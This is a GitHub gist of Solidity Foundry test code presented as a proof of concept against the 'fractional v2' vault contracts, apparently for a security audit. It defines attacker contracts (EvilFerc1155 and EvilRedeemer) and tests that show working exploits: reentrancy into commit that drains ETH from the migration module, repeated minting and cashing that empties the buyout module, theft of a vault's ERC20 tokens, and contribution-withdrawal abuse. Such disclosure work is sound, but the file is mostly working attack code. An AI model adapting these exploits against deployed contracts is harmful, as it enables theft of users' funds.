Last active
July 14, 2022 15:23
-
-
Save zzzitron/24c02e069b428f7a95ebc6c931e29b4e to your computer and use it in GitHub Desktop.
Proof of concept for fractional v2. Run test with `forge test -vvv -m poc` as all test functions have suffix of poc.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: Unlicense | |
pragma solidity 0.8.13; | |
import "./TestUtil.sol"; | |
contract EvilFerc1155 { | |
uint256 constant TOTAL_SUPPLY = 10000; | |
uint256 constant HALF_SUPPLY = TOTAL_SUPPLY / 2; | |
address public owner; | |
uint256 public counter; | |
Migration public migration; | |
bytes32[] burnProof; | |
address public vault; | |
uint256 public proposalId; | |
uint256 public howManyReenters = 4; | |
constructor(address payable migrationAddr_) { | |
migration = Migration(migrationAddr_); | |
owner = msg.sender; | |
} | |
function setUp(address vault_, uint256 proposalId_) external { | |
vault = vault_; | |
proposalId = proposalId_; | |
} | |
function controller() external view returns (address controllerAddr) { | |
return owner; | |
} | |
function balanceOf(address addr_, uint256 id_) external returns (uint256 balance) { | |
return HALF_SUPPLY; | |
} | |
function totalSupply(uint256 id) external view returns (uint256 totalSupply) { | |
return TOTAL_SUPPLY; | |
} | |
function safeTransferFrom( | |
address _from, | |
address _to, | |
uint256 _id, | |
uint256 _amount, | |
bytes memory _data | |
) public { | |
if (vault != address(0) && counter < howManyReenters) { | |
// reenters commit | |
counter++; | |
migration.commit(vault, proposalId); | |
} | |
} | |
function setApprovalFor( | |
address _operator, | |
uint256 _id, | |
bool _approved | |
) external { | |
} | |
} | |
contract EvilRedeemer { | |
IBuyout public buyout; | |
IVaultRegistry public registry; | |
IVaultFactory public factory; | |
BaseVault public baseVault; | |
address public vaultAddress; | |
bytes32[] burnProof; | |
constructor(address baseVault_, address buyout_, address registry_, bytes32[] memory burnProof_) { | |
baseVault = BaseVault(baseVault_); | |
buyout = IBuyout(buyout_); | |
registry = IVaultRegistry(registry_); | |
factory = IVaultFactory(registry.factory()); | |
// the tx origin who creates the vault | |
vaultAddress = factory.getNextAddress(address(tx.origin)); | |
burnProof = burnProof_; | |
} | |
function start ( | |
uint256 _fractionSupply, | |
address[] calldata _modules, | |
address[] calldata _plugins, | |
bytes4[] calldata _selectors, | |
bytes32[] calldata _mintProof | |
) external returns (address vault) { | |
return baseVault.deployVault(_fractionSupply, _modules, _plugins, _selectors, _mintProof); | |
} | |
function onERC1155Received( | |
address, | |
address, | |
uint256, | |
uint256, | |
bytes calldata | |
) external virtual returns (bytes4) { | |
// when token is received call redeem | |
buyout.redeem(vaultAddress, burnProof); | |
return EvilRedeemer.onERC1155Received.selector; | |
} | |
} | |
contract PocModuleTest is TestUtil { | |
/// ================= | |
/// ===== SETUP ===== | |
/// ================= | |
function setUp() public { | |
setUpContract(); | |
alice = setUpUser(111, 1); | |
bob = setUpUser(222, 2); | |
vm.label(address(this), "PocModuleTest"); | |
vm.label(alice.addr, "Alice"); | |
vm.label(bob.addr, "Bob"); | |
} | |
function testMultiProposal_poc() public { | |
// 1. setup | |
// a vault for proposals | |
proposalPeriod = buyoutModule.PROPOSAL_PERIOD(); | |
rejectionPeriod = buyoutModule.REJECTION_PERIOD(); | |
vault = bob.baseVault.deployVault( | |
TOTAL_SUPPLY, | |
modules, | |
nftReceiverPlugins, | |
nftReceiverSelectors, | |
mintProof | |
); | |
bob.erc721.safeTransferFrom(bob.addr, vault, 2); | |
assertEq(MockERC721(erc721).ownerOf(2), address(vault)); | |
// 2. distribute token for the vault | |
(token, tokenId) = registry.vaultToToken(vault); | |
vm.prank(bob.addr); | |
FERC1155(token).safeTransferFrom(bob.addr, alice.addr, tokenId, HALF_SUPPLY - 1000, ""); | |
// propose for the vault | |
// 3. alice (attacker) proposed for the vault and her proposalId is 1 | |
alice.migrationModule.propose( vault, modules, nftReceiverPlugins, nftReceiverSelectors, TOTAL_SUPPLY, 0 ether); | |
// 4. bob (victim) proposed for the vault and his proposalId is 2 | |
bob.migrationModule.propose( vault, modules, nftReceiverPlugins, nftReceiverSelectors, TOTAL_SUPPLY, 1 ether); | |
// 5. alice commits to kickoff buyout but fails | |
vm.prank(alice.addr); | |
FERC1155(token).setApprovalForAll(address(migrationModule), true); | |
alice.migrationModule.join{value: 0.1 ether}(vault, 1, 1); | |
vm.warp(proposalPeriod + 1); | |
bool started = alice.migrationModule.commit(vault, 1); | |
assertTrue(started); | |
// 6. alice call `end` on the buyoutmodule | |
vm.warp(proposalPeriod + rejectionPeriod + 2); | |
alice.buyoutModule.end(vault, burnProof); | |
// bob prepare to make proposal successful | |
vm.prank(bob.addr); | |
FERC1155(token).setApprovalForAll(address(migrationModule), true); | |
bob.migrationModule.join{value: 2 ether}(vault, 2, HALF_SUPPLY+1000); | |
vm.warp(proposalPeriod + 1); | |
// 7. bob commit (proposalId2) | |
// bob commit to kickoff the buyout process | |
started = bob.migrationModule.commit(vault, 2); | |
assertTrue(started); | |
// 8. bob's buyout proposal was successful and bob ends it | |
vm.warp(proposalPeriod + rejectionPeriod + 2); | |
bob.buyoutModule.end(vault, burnProof); | |
// 9. now alice can withdraw to a vault she proposed | |
alice.migrationModule.settleVault(vault, 1); // she makes a vault | |
alice.migrationModule.migrateVaultERC721(vault, 1, erc721, 2, erc721TransferProof); // and transfers it | |
// get info of new vault from proposal info | |
(, , , , address newVault, , , , ) = migrationModule.migrationInfo(vault, 1); | |
assertEq(MockERC721(erc721).ownerOf(2), address(newVault)); | |
} | |
function testAnyoneCanThrowERC20_poc() public { | |
// setup vault with ERC20 | |
proposalPeriod = buyoutModule.PROPOSAL_PERIOD(); | |
rejectionPeriod = buyoutModule.REJECTION_PERIOD(); | |
vault = bob.baseVault.deployVault( | |
TOTAL_SUPPLY, | |
modules, | |
nftReceiverPlugins, | |
nftReceiverSelectors, | |
mintProof | |
); | |
MockERC20(erc20).mint(bob.addr, 100); | |
vm.prank(bob.addr); | |
MockERC20(erc20).transfer(vault, 100); | |
assertEq(MockERC20(erc20).balanceOf(vault), 100); | |
// propose for vault | |
// bob's proposal: id 1 | |
(token, tokenId) = registry.vaultToToken(vault); | |
vm.prank(bob.addr); | |
FERC1155(token).setApprovalForAll(address(migrationModule), true); | |
bob.migrationModule.propose( vault, modules, nftReceiverPlugins, nftReceiverSelectors, TOTAL_SUPPLY, 1 ether); | |
bob.migrationModule.join{value: 2 ether}(vault, 1, HALF_SUPPLY+1000); | |
vm.warp(proposalPeriod + 1); | |
// bob commit to kickoff the buyout process | |
bool started = bob.migrationModule.commit(vault, 1); | |
assertTrue(started); | |
vm.warp(proposalPeriod + rejectionPeriod + 2); | |
bob.buyoutModule.end(vault, burnProof); | |
// alice can just throw away the erc20 | |
// using some random proposal id 2 | |
assertEq(MockERC20(erc20).balanceOf(vault), 100); | |
// basically sending erc20 to zero address | |
alice.migrationModule.migrateVaultERC20(vault, 2, erc20, 100, erc20TransferProof); | |
assertEq(MockERC20(erc20).balanceOf(vault), 0); | |
} | |
function testWithdrawContribution_poc() public { | |
// setup | |
// other people has migration going on in the module migration | |
// => some eth is in the module | |
// note: using alice and bob only for ease of setup | |
// but they should be victims unrelated to the actors | |
initializeMigration(alice, bob, TOTAL_SUPPLY, HALF_SUPPLY, true); | |
(nftReceiverSelectors, nftReceiverPlugins) = initializeNFTReceiver(); | |
// Bob makes the proposal: proposalId 1 | |
bob.migrationModule.propose( | |
vault, | |
modules, | |
nftReceiverPlugins, | |
nftReceiverSelectors, | |
TOTAL_SUPPLY * 2, | |
10 ether | |
); | |
// Bob joins the proposal | |
bob.migrationModule.join{value: 5 ether}(vault, 1, HALF_SUPPLY); | |
// done setup | |
assertEq(address(migrationModule).balance, 5 ether); | |
// similar setup to `Migration.t.sol::testLeave` | |
// new vault for proposal | |
vault = alice.baseVault.deployVault( | |
TOTAL_SUPPLY, | |
modules, | |
nftReceiverPlugins, | |
nftReceiverSelectors, | |
mintProof | |
); | |
(token, tokenId) = registry.vaultToToken(vault); | |
// Bob makes the proposal // proposalId 2 | |
bob.migrationModule.propose( | |
vault, | |
modules, | |
nftReceiverPlugins, | |
nftReceiverSelectors, | |
TOTAL_SUPPLY * 2, | |
0.001 ether | |
); | |
// Alice joins the proposal | |
alice.migrationModule.join{value: 0.5 ether}(vault, 2, HALF_SUPPLY); | |
// Alice leaves the proposal BUT | |
// instead of using leave, she uses withdrawContribution | |
// alice.migrationModule.leave(vault, 2); | |
uint256 aliceBalanceBefore = alice.addr.balance; | |
alice.migrationModule.withdrawContribution(vault, 2); | |
// check the balances | |
// alice got 0.5 ether back | |
assertEq(alice.addr.balance - aliceBalanceBefore, 0.5 ether); | |
assertEq(address(migrationModule).balance, 5 ether); | |
(,,uint totalEth,,,,,,) = migrationModule.migrationInfo(vault, 2); | |
assertEq(totalEth, 0.5 ether); | |
bool started = alice.migrationModule.commit(vault, 2); | |
assertTrue(started); | |
assertEq(address(migrationModule).balance, 4.5 ether); | |
} | |
function testCommitReenter_poc() public { | |
// setup | |
// other people has migration going on in the module migration | |
// => some eth is in the module | |
// note: using alice and bob only for ease of setup | |
// but they should be victims unrelated to the actors | |
initializeMigration(alice, bob, TOTAL_SUPPLY, HALF_SUPPLY, true); | |
(nftReceiverSelectors, nftReceiverPlugins) = initializeNFTReceiver(); | |
// Bob makes the proposal: proposalId 1 | |
bob.migrationModule.propose( | |
vault, | |
modules, | |
nftReceiverPlugins, | |
nftReceiverSelectors, | |
TOTAL_SUPPLY * 2, | |
10 ether | |
); | |
// Bob joins the proposal | |
bob.migrationModule.join{value: 5 ether}(vault, 1, HALF_SUPPLY); | |
// done setup | |
assertEq(address(migrationModule).balance, 5 ether); | |
// evilToken and a vault using the token | |
vm.prank(alice.addr); | |
address evil_token = address(new EvilFerc1155(payable(address(migrationModule)))); | |
vm.prank(alice.addr); | |
vault = registry.createInCollection(merkleRoot, evil_token, nftReceiverPlugins, nftReceiverSelectors); | |
// propose: proposalId 2 | |
alice.migrationModule.propose( | |
vault, | |
modules, | |
nftReceiverPlugins, | |
nftReceiverSelectors, | |
TOTAL_SUPPLY, | |
0 ether | |
); | |
alice.migrationModule.join{value: 0.5 ether}(vault, 2, HALF_SUPPLY/2); | |
// set vault and proposalId | |
EvilFerc1155(evil_token).setUp(vault, 2); | |
// check balance | |
assertEq(address(migrationModule).balance, 5.5 ether); | |
assertEq(address(buyoutModule).balance, 0); | |
// commit | |
vm.warp(proposalPeriod + 1); | |
alice.migrationModule.commit(vault, 2); | |
assertEq(address(migrationModule).balance, 3 ether); | |
assertEq(address(buyoutModule).balance, 2.5 ether); | |
// one can change how many times to reenter depending the eth in the module | |
// by setting `howManyReenters` in the EvilFerc1155 contract | |
} | |
function testCashRepeat_poc() public { | |
// setup | |
// other people has buyout going on with the buyout module | |
// => some eth is in the module | |
initializeBuyout(alice, bob, TOTAL_SUPPLY, HALF_SUPPLY, true); | |
bob.buyoutModule.start{value: 10 ether}(vault); | |
assertEq(getETHBalance(buyout), 10 ether); | |
// deploy a vault with Supply::mint as plugin | |
bytes4[] memory mSelectors = new bytes4[](1); | |
address[] memory mPlugins = new address[](1); | |
mSelectors[0] = supplyTarget.mint.selector; | |
mPlugins[0] = address(supplyTarget); | |
// address of vault with minting function | |
vault = alice.baseVault.deployVault(TOTAL_SUPPLY, modules, mPlugins, mSelectors, mintProof); | |
// setup for buyout start | |
(token, tokenId) = registry.vaultToToken(vault); | |
vm.prank(alice.addr); | |
FERC1155(token).safeTransferFrom( | |
alice.addr, | |
bob.addr, | |
tokenId, | |
HALF_SUPPLY - 10, | |
"" | |
); | |
vm.prank(alice.addr); | |
FERC1155(token).setApprovalForAll(address(buyoutModule), true); | |
// start buyout with a bit of eth | |
alice.buyoutModule.start{value: 1 ether}(vault); | |
vm.warp(rejectionPeriod + 1); | |
alice.buyoutModule.end(vault, burnProof); | |
assertEq(getETHBalance(buyout), 11 ether); | |
// cash out | |
bob.buyoutModule.cash(vault, burnProof); | |
assertEq(getETHBalance(buyout), 10 ether); | |
// mint | |
vm.prank(alice.addr); | |
Supply(vault).mint(alice.addr, 10); | |
// cash out | |
alice.buyoutModule.cash(vault, burnProof); | |
assertEq(getETHBalance(buyout), 9 ether); | |
// can repeat mint and cash out until the module is empty | |
} | |
function testRedeemZeroSupply_poc() public { | |
// deploy EvilRedeemer | |
vm.prank(alice.addr, alice.addr); | |
EvilRedeemer redeemer = EvilRedeemer(new EvilRedeemer(address(baseVault), address(buyoutModule), address(registry), burnProof)); | |
// create a vault for EvilRedeemer | |
vm.prank(alice.addr, alice.addr); | |
address mVault = redeemer.start( | |
TOTAL_SUPPLY, | |
modules, | |
nftReceiverPlugins, | |
nftReceiverSelectors, | |
mintProof | |
); | |
assertEq(mVault, redeemer.vaultAddress()); | |
// check state is SUCCESS | |
(, , State current, , , ) = buyoutModule.buyoutInfo(mVault); | |
assertEq(uint(current), 2); | |
// check EvilRedeemer has balance of total supply | |
(token, tokenId) = registry.vaultToToken(mVault); | |
assertEq(getFractionBalance(address(redeemer)), TOTAL_SUPPLY); | |
} | |
function testDeployLimitedModule_poc() public { | |
// override modules | |
modules = new address[](3); | |
modules[0] = address(baseVault); | |
modules[1] = address(buyoutModule); | |
modules[2] = address(migrationModule); | |
// // The below reverts with "Index out of bounds" | |
// vm.expectRevert(); | |
// vault = alice.baseVault.deployVault( | |
// TOTAL_SUPPLY, | |
// modules, | |
// nftReceiverPlugins, | |
// nftReceiverSelectors, | |
// mintProof | |
// ); | |
} | |
function testCashShare_poc() public { | |
// to make sure the eth in the buyout does not run out | |
vm.prank(alice.addr); | |
address(buyoutModule).call{value: 5 ether}(""); | |
initializeBuyout(alice, bob, TOTAL_SUPPLY, HALF_SUPPLY, true); | |
setUpBuyoutCash(alice, bob); | |
(token, tokenId) = registry.vaultToToken(vault); | |
assertEq(getFractionBalance(alice.addr), 4000); | |
assertEq(getFractionBalance(buyout), 0); | |
assertEq(getETHBalance(alice.addr), 95.2 ether); | |
assertEq(getETHBalance(bob.addr), 99 ether); | |
assertEq(getETHBalance(buyout), 5.8 ether); | |
// before balance | |
uint256 bobBalance1 = getETHBalance(bob.addr); | |
vm.prank(alice.addr); | |
IFERC1155(token).safeTransferFrom(alice.addr, bob.addr, tokenId, 1000, ""); | |
assertEq(getFractionBalance(bob.addr), 1000); | |
bob.buyoutModule.cash(vault, burnProof); | |
// after cashing out 1000 | |
uint256 bobBalance2 = getETHBalance(bob.addr); | |
assertEq(bobBalance2 - bobBalance1, 200000000000000000); // the first 1000 | |
assertEq(getFractionBalance(bob.addr), 0); | |
vm.prank(alice.addr); | |
IFERC1155(token).safeTransferFrom(alice.addr, bob.addr, tokenId, 1000, ""); | |
assertEq(getFractionBalance(bob.addr), 1000); | |
bob.buyoutModule.cash(vault, burnProof); | |
// after cashing out second 1000 | |
uint256 bobBalance3 = getETHBalance(bob.addr); | |
assertEq(bobBalance3 - bobBalance2, 266666666666666666); // the second 1000 | |
assertEq(getFractionBalance(bob.addr), 0); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment